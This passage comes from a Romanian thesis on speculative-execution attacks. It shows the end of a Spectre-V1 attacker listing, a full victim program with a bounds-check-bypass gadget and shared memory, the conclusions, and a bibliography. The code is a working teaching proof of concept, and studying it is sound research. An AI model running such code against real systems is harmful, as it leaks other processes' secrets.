133         printf("\n");
134         fflush(stdout);
135         printf("%016lX | ", offset);
136       }
137
138       // next memory address
139       ++offset;
140     }
141   }
```

Listing 5.1: Implementare atacator - Spectre-V1

5.2 Victima

```
1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <stdint.h>
4  #include <unistd.h>
5  #include <fcntl.h>
6  #include <sys/mman.h>
7  #include <sys/file.h>
8  #include <errno.h>
9  #include <string.h>
10 #ifdef _MSC_VER
11 #include <intrin.h>        /* for rdtscp and clflush */
12 #pragma optimize("gt",on)
13 #else
14 #include <x86intrin.h>     /* for rdtscp and clflush */
15 #endif
16
17 /********************************************************************
18 Victim code.
```

```
19 ********************************************************************/
20 int fd_lock;
21
22 unsigned int array1_size = 16, secret_size = 2048;
23 uint8_t unused1[64];
24 uint8_t array1[16] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
25 uint8_t unused2[64];
26 uint8_t *array2;
27
28 char secret[2048];
29
30 const char *lock_file_name = "spectre.lock";
31 const char *shared_memory_name = "shared_mem";
32 const char *index_file_name = "index.txt";
33
34
35 int load_secret(const char* file_name) {
36   FILE *f = fopen(file_name, "r");
37   if (f == NULL) {
38     return -1;
39   }
40   fread(secret, sizeof(*secret), secret_size, f);
41   fclose(f);
42   return 0;
43 }
44
45 void victim_function(size_t x) {
46   static uint8_t temp = 0;  /* Used so compiler won't optimize out
      victim_function() */
47   if (x < array1_size) {
48     // some action performed on array2 with index proportional to x in
      array1
49     temp &= array2[array1[x] * 4096];
50   }
51 }
52
53 void readMemoryByte() {
54   // acquire lock
55   static int offset, locked, no_items;
56   static size_t buffer[64], buffer_size = 64;
57
58   // wait for file containing indexes to appear
59   while (access(index_file_name, F_OK) == -1);
60
61   locked = -1;
62   while (locked != 0) {
63     fd_lock = open(lock_file_name, O_CREAT);
```

```
64      locked = flock(fd_lock, LOCK_EX);
65    }
66
67    FILE *f = fopen(index_file_name, "r");
68    if (f == NULL) {
69      printf("nu exista offffff\n");
70      exit(0);
71    }
72
73    fscanf(f, "%d", &no_items);
74    if (no_items > buffer_size)
75      no_items = buffer_size;
76
77    for (int i = 0; i < no_items; ++i) {
78      fscanf(f, "%zu", &buffer[i]);
79    }
80
81    for (int i = 0; i < no_items; ++i) {
82      _mm_clflush(&array1_size);
83      for (volatile int z = 0; z < 100; z++) {}  /* Delay (can also mfence)
       */
84      victim_function(buffer[i]);
85    }
86
87    fclose(f);
88    remove(index_file_name);
89
90    // release lock
91    unlink(lock_file_name);
92    flock(fd_lock, LOCK_UN);
93    close(fd_lock);
94  }
95
96  int main(int argc, const char **argv) {
97    // map shared memory area
98    int fd = open(shared_memory_name, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG |
       S_IRWXO);
99    array2 = (uint8_t*)mmap(NULL, 256 * 4096, PROT_READ | PROT_WRITE,
       MAP_SHARED, fd, 0);
100   close(fd);
101
102   if (array2 == MAP_FAILED) {
103     printf("map failed %d", errno);
104     return 0;
105   }
106
107   // output offset to secret for easiness
```

```
108   size_t offset_to_secret = (size_t)(secret - (char*)array1);   /* default
       for malicious_x */
109   printf("%zu\n", offset_to_secret);
110
111   int i, score[2], offset;
112   uint8_t value[2];
113
114   if (argc == 2) {
115     if (load_secret(argv[1]) == -1) {
116       printf("could not open file");
117       return 0;
118     }
119   } else {
120     const char *message = "The secret message is NOT squeamish ossifrage.";
121     memcpy(secret, message, strlen(message));
122   }
123
124   while (1) readMemoryByte();
125
126   return 0;
127 }
```

Listing 5.2: Implementare victima - Spectre-V1

Capitolul 6

Concluzii si Directii Viitoare

In aceasta lucrare am abordat subiectul *Atacurilor Speculative*. Am prezentat detalile atacului *Meltdown* care permitea unui utilizator neprivilegiat citirea oricarei zone din memoria fizica prin intermediul Kernelului, solutia care a dus la mitigarea acestuia (*KAISER*), cat si observatii personale legate de reproducere. Ulterior am prezentat clasa de atacuri *Spectre* care permite citirea zonelor de memorie accesibila unui proces victima cu care un proces atacator are in comun o zona limitata de memorie. Prezint de asemenea si solutii care au incercat sa mitigheze cu grade variate de succes aceste vulnerabilitati. In final, prezint o implementare inter-proces, cu scop didactic a *Spectre v1*.

Noua varianta a *Spectre* (*BHI*) publicata la inceputul anului 2022 demonstreaza ineficienta solutilor implementate pana in prezent importriva *Spectre V2*. Astfel, *Spectre* ramane un subiect deschis de cercetare. Se pot dezvolta in continuare noi variante ale atacului care pot fi eficiente chiar si impotriva mitigarilor ce vor aparea in viitorul apropiat. Se pot dezvolta noi mitigari care sa afecteze performanta programelor intr-un mod minimal, mai putin decat cele deja existente care reduc performanta considerabil. Se pot evalua implicarile atacului pe platforme mai putin documentate.

In viitor, imi doresc sa studiez mai in detaliu *Spectre V2* si ulterior, noua varianta *Spectre BHI* aparuta recent, pentru a intelege mai bine mecanismele din spate care fac posibile rezultatele obtinute. Noile cunostinte dobandite, m-ar ajuta in contiuarea cercetarii atacurilor speculative.

Bibliografie

[1] *AMD64 TECHNOLOGY INDIRECT BRANCH CONTROL EXTENSION*, Accesat: 31.05.2022, 2018, URL: https://developer.amd.com/wp-content/resources/Architecture_Guidelines_Update_Indirect_Branch_Control.pdf.

[2] Enrico Barberis, Pietro Frigo, Marius Muench, Herbert Bos și Cristiano Giuffrida, „Branch history injection: On the effectiveness of hardware mitigations against cross-privilege Spectre-v2 attacks", în *USENIX Security*, vol. 11, 2022.

[3] David Brumley și Dan Boneh, „Remote timing attacks are practical", în *Computer Networks* 48.5 (2005), pp. 701–716.

[4] *Caching*, Accesat: 13.05.2022, URL: https://cseweb.ucsd.edu/classes/sp13/cse141-a/Slides/10_Caches_detail.pdf.

[5] *CLFLUSH — Flush Cache Line*, Accesat: 13.05.2022, URL: https://www.felixcloutier.com/x86/clflush.

[6] Jonathan Corbet, *Supervisor mode access prevention*, Accesat: 30.05.2022, 2012, URL: https://lwn.net/Articles/517475/.

[7] Peter J Denning, „The locality principle", în *Communication Networks And Computer Systems: A Tribute to Professor Erol Gelenbe*, World Scientific, 2006, pp. 43–67.

[8] Wenliang Du, *Meltdown Attack Lab*, Accesat: 23.05.2022, 2018, URL: https://seedsecuritylabs.org/Labs_20.04/Files/Meltdown_Attack/Meltdown_Attack.pdf.

[9] Richard Grisenthwaite, „Cache speculation side-channels", în *Jan., Arm Limited* (2018), pp. 1–13.

[10] Daniel Gruss, Moritz Lipp, Michael Schwarz, Richard Fellner, Clémentine Maurice și Stefan Mangard, „Kaslr is dead: long live kaslr", în *International Symposium on Engineering Secure Software and Systems*, Springer, 2017, pp. 161–176.

[11] Daniel Gruss, Clémentine Maurice, Anders Fogh, Moritz Lipp și Stefan Mangard, „Prefetch side-channel attacks: Bypassing SMAP and kernel ASLR", în *Proceedings of the 2016 ACM SIGSAC conference on computer and communications security*, 2016, pp. 368–379.

[12] J Alex Halderman, Seth D Schoen, Nadia Heninger, William Clarkson, William Paul, Joseph A Calandrino, Ariel J Feldman, Jacob Appelbaum și Edward W Felten, „Lest we remember: cold-boot attacks on encryption keys", în *Communications of the ACM* 52.5 (2009), pp. 91–98.

[13] Andrei Homescu, Michael Stewart, Per Larsen, Stefan Brunthaler și Michael Franz, „Microgadgets: Size Does Matter in Turing-Complete Return-Oriented Programming.", în *WOOT* 12 (2012), pp. 64–76.

[14] Joel Hruska, *What Is Speculative Execution?*, Accessed: 12.05.2022, 2021, URL: https://www.extremetech.com/computing/261792-what-is-speculative-execution.

[15] *https://www.redhat.com/en/topics/linux/what-is-the-linux-kernel*, Accesat: 29.05.2022, 2019, URL: https://www.redhat.com/en/topics/linux/what-is-the-linux-kernel.

[16] *INTEL-SA-00088*, Accesat: 31.05.2022, 2018, URL: https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/advisory-guidance/branch-target-injection.html.

[17] *Intel® Core™ i5-8250U Processor*, Accesat: 22.05.2022, URL: https://ark.intel.com/content/www/us/en/ark/products/124967/intel-core-i58250u-processor-6m-cache-up-to-3-40-ghz.html.

[18] *Kernel*, Accesat: 16.05.2022, URL: https://cs61.seas.harvard.edu/site/2021/Kernel/.

[19] Paul Kocher, Jann Horn, Anders Fogh, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg, Moritz Lipp, Stefan Mangard, Thomas Prescher et al., „Spectre attacks: Exploiting speculative execution", în *2019 IEEE Symposium on Security and Privacy (SP)*, IEEE, 2019, pp. 1–19.

[20] Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom și Mike Hamburg, „Meltdown", în *arXiv preprint arXiv:1801.01207* (2018).

[21] Biswabandan Panda, *Cache Attacks*, Accesat: 13.05.2022, URL: https://www.cse.iitk.ac.in/users/biswap/CS665/lectures/L6.pdf.

[22] Colin Percival, *Cache missing for fun and profit*, 2005.

[23] *Processes*, Accesat: 14.05.2022, URL: https://www.gnu.org/software/libc/manual/html_node/Processes.html.

[24] *RDTSCP — Read Time-Stamp Counter and Processor ID*, Accesat: 12.05.2022, URL: https://www.felixcloutier.com/x86/rdtscp.

[25] Oliver Rehberg, *Spectre v1 Mitigation via Compiler options*, Accesat: 31.05.2022, 2021, URL: https://www.methodpark.de/blog/spectre-v1-mitigation-via-compiler-options/.

[26] Jennifer Rexford, *Exceptions and Processes*, Accesat: 15.05.2022, URL: https://www.cs.princeton.edu/courses/archive/spr11/cos217/lectures/17ExceptionsAndProcesses.pdf.

[27] Mark Seaborn și Thomas Dullien, „Exploiting the DRAM rowhammer bug to gain kernel privileges", în *Black Hat* 15 (2015), p. 71.

[28] Hovav Shacham, „The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86)", în *Proceedings of the 14th ACM conference on Computer and communications security*, 2007, pp. 552–561.

[29] Robert M Tomasulo, „An efficient algorithm for exploiting multiple arithmetic units", în *IBM Journal of research and Development* 11.1 (1967), pp. 25–33.

[30] Yuval Yarom și Katrina Falkner, „FLUSH+RELOAD: A High Resolution, Low Noise, L3 Cache Side-Channel Attack", în *23rd USENIX Security Symposium (USENIX Security 14)*, San Diego, CA: USENIX Association, Aug. 2014, pp. 719–732, ISBN: 978-1-931971-15-7, URL: https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/yarom.